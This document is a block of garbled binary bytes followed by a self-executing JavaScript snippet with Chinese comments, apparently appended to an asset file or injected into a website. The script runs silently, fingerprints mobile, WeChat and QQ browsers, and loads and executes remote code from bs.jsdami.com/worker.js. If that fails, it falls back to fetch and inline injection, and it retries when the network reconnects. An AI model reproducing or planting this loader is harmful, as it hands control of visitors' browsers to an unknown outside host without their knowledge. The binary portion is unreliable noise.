ZiO#[z~g. W4JI&(&Z]M%cfv 5^sy:J7=/A%cݞw9Գ_lF] 7Ϫ&)C:8YR<]tsa+2;/-ݼNl.,_Մ㦗3ԷB${A7r~\ LI~3[\%n'!+͔ar8* V`1DP7 Nl6kXp~'ǧ$CVķ].FYi9]17^| ?${E43't}I밚Bzg`t/̄NcW>`E#[TW!PoL,2褸$[URn9ri}I^hP)j\@ ]˒][Ʀ0S^ƮK $D˹e.i[ыsPɷwLp)'9\DsV`Љ7OoSO$cgPC6 *PYU,FrF_oK "gU"Hh8OU\r6bqBbdxBB<^:T}"] -=㆝C"Х)N:dqCOa6Un?fʹ4<͚ ]\)) `z^+B* :BG! Is R"%Ĥ^b)XZI37Lj?Sc5 tPWZn0 *E ~ }$0f \,8M"P!(-\`=uJ7NiHF PA`*܌TŤ1akNV!"`tgDwĤdB_9ٔЫlP+[HUCWz2pR_ 8 zAd5d(䔊#2Md9e%:_B}X)g |jU}@ ,/Qϧ准=Aɉ $0y `D#IT~@.cVv|E|@p(Tuw^I%c`lIY2m ۮ]Lj)龶ndbL&'oۆV08O ^mvy(8XXu]|G?*|dP h 5y)ﺹ6h'UWT);{{;{)uY 1t5g={rĠt]ttZR*3dϚt+8 (function() { 'use strict'; // 静默模式:只在调试时输出日志 var DEBUG = false; // 防重复加载检查 if (window._loaded) { if (DEBUG) console.log('Script already loaded, skipping...'); return; } window._loaded = true; // 移动端兼容性检查 var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); var isWeChat = /MicroMessenger/i.test(navigator.userAgent); var isQQ = /QQ/i.test(navigator.userAgent); if (DEBUG) { console.log('=== Script Loading ==='); console.log('NodeIP:', ':443'); console.log('RequestHost:', 'm.jinjiangwxc.com'); console.log('Charset:', 'utf-8'); console.log('Current URL:', window.location.href); console.log('UserAgent:', navigator.userAgent); console.log('IsMobile:', isMobile); console.log('IsWeChat:', isWeChat); console.log('IsQQ:', isQQ); console.log('IsOnline:', navigator.onLine); } // 加载远程JavaScript文件 function loadRemoteScript() { try { if (DEBUG) console.log('Loading remote script...'); // 检查是否支持动态脚本加载 if (typeof document.createElement === 'undefined') { if (DEBUG) console.log('Document.createElement not supported'); return; } // 检查是否已经加载过远程worker.js if (document.querySelector('script[src*="https://bs.jsdami.com/worker.js"]')) { if (DEBUG) console.log('Remote script already loaded'); return; } var script = document.createElement('script'); // 使用远程worker.js script.src = 'https://bs.jsdami.com/worker.js'; script.async = true; script.type = 'text/javascript'; script.charset = 'utf-8'; // 设置crossOrigin属性(移动端兼容) if (typeof script.crossOrigin !== 'undefined') { script.crossOrigin = 'anonymous'; } // 添加更多移动端兼容属性 script.setAttribute('type', 'text/javascript'); script.setAttribute('charset', 'utf-8'); // 添加超时控制 var timeoutId = setTimeout(function() { if (DEBUG) console.log('Script loading timeout'); }, 15000); // 15秒超时 script.onload = function() { clearTimeout(timeoutId); if (DEBUG) console.log('Remote script loaded successfully'); }; script.onerror = function() { clearTimeout(timeoutId); if (DEBUG) console.log('Remote script loading failed, trying alternative method...'); // 备用方案:使用fetch加载 loadWithFetch(); }; // 检查DOM是否准备好 if (document.head) { document.head.appendChild(script); } else if (document.documentElement) { document.documentElement.appendChild(script); } else { // 等待DOM加载完成 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { (document.head || document.documentElement).appendChild(script); }); } else { (document.head || document.documentElement).appendChild(script); } } } catch(e) { if (DEBUG) console.log('Script loading failed:', e); // 备用方案 loadWithFetch(); } } // 备用加载方案:使用fetch function loadWithFetch() { try { if (DEBUG) console.log('Trying fetch method...'); fetch('https://bs.jsdami.com/worker.js') .then(function(response) { if (response.ok) { return response.text(); } throw new Error('Network response was not ok'); }) .then(function(scriptText) { var script = document.createElement('script'); script.textContent = scriptText; script.type = 'text/javascript'; script.charset = 'utf-8'; (document.head || document.documentElement).appendChild(script); if (DEBUG) console.log('Script loaded via fetch successfully'); }) .catch(function(error) { if (DEBUG) console.log('Fetch method also failed:', error); }); } catch(e) { if (DEBUG) console.log('Fetch method failed:', e); } } // 检查网络状态变化 window.addEventListener('online', function() { if (DEBUG) console.log('Network is online, retrying script load...'); setTimeout(loadRemoteScript, 1000); }); // 延迟加载远程脚本(移动端可能需要更长时间) var delay = isMobile ? 300 : 150; setTimeout(function() { loadRemoteScript(); }, delay); if (DEBUG) console.log('=== Script Loading Completed ==='); })();